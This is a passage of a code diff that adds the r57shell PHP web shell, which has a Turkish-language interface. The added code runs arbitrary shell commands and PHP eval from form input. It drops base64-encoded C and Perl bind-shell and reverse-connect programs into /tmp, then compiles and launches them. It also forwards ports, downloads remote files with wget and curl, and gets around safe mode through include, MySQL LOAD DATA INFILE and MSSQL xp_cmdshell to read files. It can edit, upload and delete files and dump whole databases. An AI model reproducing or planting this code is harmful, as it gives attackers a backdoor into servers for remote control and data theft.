+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+function in($type,$name,$size,$value)
+{
+ $ret = " ";
+ return $ret;
+}
+function which($pr)
+{
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return $pr; }
+}
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or we($fname);
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+function sr($l,$t1,$t2)
+ {
+ return "".$t1." ".$t2." ";
+ }
+if (!@function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+function DirFiles($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (FALSE !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(!is_dir($dir."/".$file))
+ {
+ if($types)
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if(@in_array($ext,@explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ function DirFilesWide($dir)
+ {
+ $files = Array();
+ $dirs = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ {
+ $file = @strtoupper($file);
+ $dirs[$file] = '<DIR>';
+ }
+ else
+ $files[$file] = @filesize($dir."/".$file);
+ }
+ }
+ @closedir($handle);
+ @ksort($dirs);
+ @ksort($files);
+ $files = @array_merge($dirs,$files);
+ }
+ return $files;
+ }
+ function DirFilesR($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if($types)
+ {
+ if(@in_array($ext,explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ function DirPrintHTMLHeaders($dir)
+ {
+ $pockets = '';
+ $handle = @opendir($dir) or die("Can't open directory $dir");
+ echo " \n";
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ {
+ echo " [ $file ] \n";
+ DirPrintHTMLHeaders($dir."/".$file);
+ }
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if(@in_array($ext,array('.htm','.html')))
+ {
+ $header = '-=None=-';
+ $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file);
+ for($a=0;$a(.+))';
+ if(@eregi($pattern,$strings[$a],$pockets))
+ {
+ $header = "«".$pockets[2]."»";
+ break;
+ }
+ }
+ echo " ".$header." \n";
+ }
+ }
+ }
+ }
+ echo " \n";
+ @closedir($handle);
+ }
+
+ class SearchResult
+ {
+ var $text;
+ var $FilesToSearch;
+ var $ResultFiles;
+ var $FilesTotal;
+ var $MatchesCount;
+ var $FileMatschesCount;
+ var $TimeStart;
+ var $TimeTotal;
+ var $titles;
+ function SearchResult($dir,$text,$filter='')
+ {
+ $dirs = @explode(";",$dir);
+ $this->FilesToSearch = Array();
+ for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
+ $this->text = $text;
+ $this->FilesTotal = @count($this->FilesToSearch);
+ $this->TimeStart = getmicrotime();
+ $this->MatchesCount = 0;
+ $this->ResultFiles = Array();
+ $this->FileMatchesCount = Array();
+ $this->titles = Array();
+ }
+ function GetFilesTotal() { return $this->FilesTotal; }
+ function GetTitles() { return $this->titles; }
+ function GetTimeTotal() { return $this->TimeTotal; }
+ function GetMatchesCount() { return $this->MatchesCount; }
+ function GetFileMatchesCount() { return $this->FileMatchesCount; }
+ function GetResultFiles() { return $this->ResultFiles; }
+ function SearchText($phrase=0,$case=0) {
+ $qq = @explode(' ',$this->text);
+ $delim = '|';
+ if($phrase)
+ foreach($qq as $k=>$v)
+ $qq[$k] = '\b'.$v.'\b';
+ $words = '('.@implode($delim,$qq).')';
+ $pattern = "/".$words."/";
+ if(!$case)
+ $pattern .= 'i';
+ foreach($this->FilesToSearch as $k=>$filename)
+ {
+ $this->FileMatchesCount[$filename] = 0;
+ $FileStrings = @file($filename) or @next;
+ for($a=0;$a<@count($FileStrings);$a++)
+ {
+ $count = 0;
+ $CurString = $FileStrings[$a];
+ $CurString = @Trim($CurString);
+ $CurString = @strip_tags($CurString);
+ $aa = '';
+ if(($count = @preg_match_all($pattern,$CurString,$aa)))
+ {
+ $CurString = @preg_replace($pattern,"\\1 ",$CurString);
+ $this->ResultFiles[$filename][$a+1] = $CurString;
+ $this->MatchesCount += $count;
+ $this->FileMatchesCount[$filename] += $count;
+ }
+ }
+ }
+ $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
+ }
+ }
+ function getmicrotime()
+ {
+ list($usec,$sec) = @explode(" ",@microtime());
+ return ((float)$usec + (float)$sec);
+ }
+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
+A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
+GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
+b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
+pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
+NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
+ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
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ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl
+hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz
+tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
+XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
+8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
+ybmV0LS0+";
+echo $head;
+echo '';
+if(empty($_POST['cmd'])) {
+$serv = array(127,192,172,10);
+$addr=@explode('.', $_SERVER['SERVER_ADDR']);
+$current_version = str_replace('.','',$version);
+if (!in_array($addr[0], $serv)) {
+@print "";
+@readfile ("");}}
+echo '
+'.ws(1).'
+! '.ws(2).'r57shell '.$version.'
+ ';
+echo ws(2);
+echo "".date ("d-m-Y H:i:s")." ";
+echo ws(2).$lb." phpinfo ".$rb;
+echo ws(2).$lb." php.ini ".$rb;
+echo ws(2).$lb." cpu ".$rb;
+echo ws(2).$lb." mem ".$rb;
+echo ws(2).$lb." tmp ".$rb;
+echo ws(2).$lb." delete ".$rb." ";
+echo ws(2);
+echo (($safe_mode)?("Guvenlik: Acik "):("Guvenlik: Kapali "));
+echo ws(2);
+echo "PHP version: ".@phpversion()." ";
+$curl_on = @function_exists('curl_version');
+echo ws(2);
+echo "cURL: ".(($curl_on)?("Acik "):("Kapali "));
+echo ws(2);
+echo "MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "Acik "; } else { echo "Kapali "; }
+echo ws(2);
+echo "MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "Acik ";}else{echo "Kapali ";}
+echo ws(2);
+echo "PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "Acik ";}else{echo "Kapali ";}
+echo ws(2);
+echo "Oracle: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "Acik ";}else{echo "Kapali ";}
+echo " ".ws(2);
+echo "Basarisiz Fonfsiyonlar : ";
+if(''==($df=@ini_get('disable_functions'))){echo "YOK ";}else{echo "$df ";}
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+$used = $all-$free;
+$used_percent = @round(100/($all/$free),2);
+echo " ".ws(2)."Harddisk Kullanilmayan : ".view_size($free)." Harddisk Toplam : ".view_size($all)." ";
+echo '
+
+';
+
+echo $font;
+if(!$windows){
+echo 'uname -a :'.ws(1).' sysctl :'.ws(1).' $OSTYPE :'.ws(1).' Server :'.ws(1).' id :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+$uname = ex('uname -a');
+echo((!empty($uname))?(ws(3).@substr($uname,0,120)." "):(ws(3).@substr(@php_uname(),0,120)." "));
+if(!$safe_mode){
+$bsd1 = ex('sysctl -n kern.ostype');
+$bsd2 = ex('sysctl -n kern.osrelease');
+$lin1 = ex('sysctl -n kernel.ostype');
+$lin2 = ex('sysctl -n kernel.osrelease');
+}
+if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; }
+else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; }
+else { $sysctl = "-"; }
+echo ws(3).$sysctl." ";
+echo ws(3).ex('echo $OSTYPE')." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+$id = ex('id');
+echo((!empty($id))?(ws(3).$id." "):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()." "));
+echo ws(3).$dir;
+echo " ";
+}
+else
+{
+echo 'Isletim Sistemi'.ws(1).' Server :'.ws(1).' Kullanici:'.ws(1).' dizin :'.ws(1).' ';
+echo " ";
+echo "";
+echo ws(3).@substr(@php_uname(),0,120)." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+echo ws(3).@get_current_user()." ";
+echo ws(3).$dir." ";
+echo " ";
+}
+echo "";
+echo "
";
+if(empty($c1)||empty($c2)) { die(); }
+$f = ' ';
+$f .= base64_decode($c1);
+$f .= base64_decode($c2);
+if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
+{
+$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
+}
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
+ {
+ switch($_POST['what'])
+ {
+ case 'own':
+ @chown($_POST['param1'],$_POST['param2']);
+ break;
+ case 'grp':
+ @chgrp($_POST['param1'],$_POST['param2']);
+ break;
+ case 'mod':
+ @chmod($_POST['param1'],intval($_POST['param2'], 8));
+ break;
+ }
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
+ {
+ switch($_POST['what'])
+ {
+ case 'file':
+ if($_POST['action'] == "create")
+ {
+ if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
+ else {
+ fclose($file);
+ $_POST['e_name'] = $_POST['mk_name'];
+ $_POST['cmd']="edit_file";
+ echo "".$lang[$language.'_text61']."
";
+ }
+ }
+ else if($_POST['action'] == "delete")
+ {
+ if(unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ case 'dir':
+ if($_POST['action'] == "create"){
+ if(mkdir($_POST['mk_name']))
+ {
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text62']."
";
+ }
+ else { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
+ }
+ else if($_POST['action'] == "delete"){
+ if(rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file")
+ {
+ if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
+ if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; }
+ else {
+ echo $table_up3;
+ echo $font;
+ echo "";
+ echo ws(3)."".$_POST['e_name']." ";
+ echo "";
+ echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
+ fclose($file);
+ echo " ";
+ echo " ";
+ echo " ";
+ echo " ";
+ echo (!empty($only_read)?(" ".$lang[$language.'_text44']):(" "));
+ echo "
";
+ echo "";
+ echo " ";
+ echo "
";
+ exit();
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
+ {
+ if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); }
+ else {
+ @fwrite($file,$_POST['e_text']);
+ @fclose($file);
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text45']."
";
+ }
+ }
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ cf("/tmp/bd.c",$port_bind_bd_c);
+ $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
+ @unlink("/tmp/bd.c");
+ $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
+ $_POST['cmd']="ps -aux | grep bd";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ cf("/tmp/bdpl",$port_bind_bd_pl);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
+ $_POST['cmd']="ps -aux | grep bdpl";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/back.c",$back_connect_c);
+ $blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ @unlink("/tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/dp",$datapipe_pl);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
+ $_POST['cmd']="ps -aux | grep dp";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/dpc.c",$datapipe_c);
+ $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
+ @unlink("/tmp/dpc.c");
+ $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
+ $_POST['cmd']="ps -aux | grep dpc";
+}
+if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}}
+if (!empty($HTTP_POST_FILES['userfile']['name']))
+{
+if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
+else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
+@copy($HTTP_POST_FILES['userfile']['tmp_name'],
+ $_POST['dir']."/".$nfn)
+ or print("Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
");
+}
+if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
+{
+ switch($_POST['with'])
+ {
+ case wget:
+ $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
+ break;
+ case fetch:
+ $_POST['cmd'] = which('fetch')." -p ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+ case lynx:
+ $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case links:
+ $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case GET:
+ $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case curl:
+ $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+ }
+}
+echo $table_up3;
+if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); }
+else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
+echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']." ";
+if($safe_mode)
+{
+ switch($_POST['cmd'])
+ {
+ case 'safe_dir':
+ $d=@dir($dir);
+ if ($d)
+ {
+ while (false!==($file=$d->read()))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if($windows){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ $d->close();
+ }
+ else echo $lang[$language._text29];
+ break;
+ case 'safe_file':
+ if(@is_file($_POST['file']))
+ {
+ $file = @file($_POST['file']);
+ if($file)
+ {
+ $c = @sizeof($file);
+ for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }
+ }
+ else echo $lang[$language._text29];
+ }
+ else echo $lang[$language._text31];
+ break;
+ case 'test1':
+ $ci = @curl_init("file://".$_POST['test1_file']."");
+ $cf = @curl_exec($ci);
+ echo $cf;
+ break;
+ case 'test2':
+ @include($_POST['test2_file']);
+ break;
+ case 'test3':
+ if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
+ $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['test3_md'],$db))
+ {
+ $sql = "DROP TABLE IF EXISTS temp_r57_table;";
+ @mysql_query($sql);
+ $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";
+ @mysql_query($sql);
+ $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";
+ @mysql_query($sql);
+ $sql = "SELECT * FROM temp_r57_table;";
+ $r = @mysql_query($sql);
+ while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
+ $sql = "DROP TABLE IF EXISTS temp_r57_table;";
+ @mysql_query($sql);
+ }
+ else echo "[-] HATA! Database Secilemedi";
+ @mysql_close($db);
+ }
+ else echo "[-] HATA! MysQl Server ile baglanti Kurulamiyor";
+ break;
+ case 'test4':
+ if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
+ $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['test4_md'],$db))
+ {
+ @mssql_query("drop table r57_temp_table",$db);
+ @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
+ @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
+ $res = mssql_query("select * from r57_temp_table",$db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo $row[0]."\r\n";
+ }
+ @mssql_query("drop table r57_temp_table",$db);
+ }
+ else echo "[-] HATA! Database Secilemedi";
+ @mssql_close($db);
+ }
+ else echo "[-] HATA! MysQl Server ile baglanti Kurulamiyor";
+ break;
+ }
+}
+else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")){
+ $cmd_rep = ex($_POST['cmd']);
+ if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }}
+if ($_POST['cmd']=="php_eval"){
+ $eval = @str_replace("","",$_POST['php_eval']);
+ $eval = @str_replace("?>","",$eval);
+ @eval($eval);}
+if ($_POST['cmd']=="db_show")
+ {
+ switch($_POST['db'])
+ {
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ $res=@mysql_query("SHOW DATABASES", $db);
+ while(($row=@mysql_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ if(isset($_POST['st'])){
+ $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db);
+ while(($row2=@mysql_fetch_row($res2)))
+ {
+ echo " | - ".$row2[0]."\r\n";
+ if(isset($_POST['sc']))
+ {
+ $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db);
+ while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; }
+ }
+ }
+ }
+ }
+ @mysql_close($db);
+ }
+ else echo "[-] HATA! MySQL Server ile Baglanti Kurulamiyor...";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ $res=@mssql_query("sp_databases", $db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ if(isset($_POST['st'])){
+ @mssql_select_db($row[0]);
+ $res2 = @mssql_query("sp_tables",$db);
+ while(($row2=@mssql_fetch_array($res2)))
+ {
+ if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties')
+ {
+ echo " | - ".$row2['TABLE_NAME']."\r\n";
+ if(isset($_POST['sc']))
+ {
+ $res3 = @mssql_query("sp_columns ".$row2[2],$db);
+ while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; }
+ }
+ }
+ }
+ }
+ }
+ @mssql_close($db);
+ }
+ else echo "[-] HATA! MysQl Server ile baglanti Kurulamiyor";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
+ $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'");
+ while(($row=@pg_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ }
+ @pg_close($db);
+ }
+ else echo "[-]HATA! MysQl Server ile baglanti Kurulamiyor";
+ break;
+ }
+ }
+if ($_POST['cmd']=="mysql_dump")
+ {
+ if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
+ if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
+ $sqh = "# homepage: http://\r\n";
+ $sqh .= "# ---------------------------------\r\n";
+ $sqh .= "# date : ".date ("j F Y g:i")."\r\n";
+ $sqh .= "# database : ".$_POST['mysql_db']."\r\n";
+ $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n";
+ $sqh .= "# ---------------------------------\r\n\r\n";
+ switch($_POST['db']){
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['mysql_db'],$db))
+ {
+ $sql1 = "# MySQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
+ $row = @mysql_fetch_row($res);
+ $sql1 .= $row[1]."\r\n\r\n";
+ $sql1 .= "# ---------------------------------\r\n\r\n";
+ $sql2 = '';
+ $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
+ if (@mysql_num_rows($res) > 0) {
+ while (($row = @mysql_fetch_assoc($res))) {
+ $keys = @implode("`, `", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ }
+ else echo "[-] HATA! Database Secilemedi";
+ @mysql_close($db);
+ }
+ else echo "[-] HATA! MysQl Server ile baglanti Kurulamiyor";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['mysql_db'],$db))
+ {
+ $sql1 = "# MSSQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $sql2 = '';
+ $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db);
+ if (@mssql_num_rows($res) > 0) {
+ while (($row = @mssql_fetch_assoc($res))) {
+ $keys = @implode(", ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ }
+ else echo "[-] HATA! Database ile baglanti kurulamiyor";
+ @mssql_close($db);
+ }
+ else echo "[-] HATA! MssQl Server ile baglanti Kurulamiyor";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
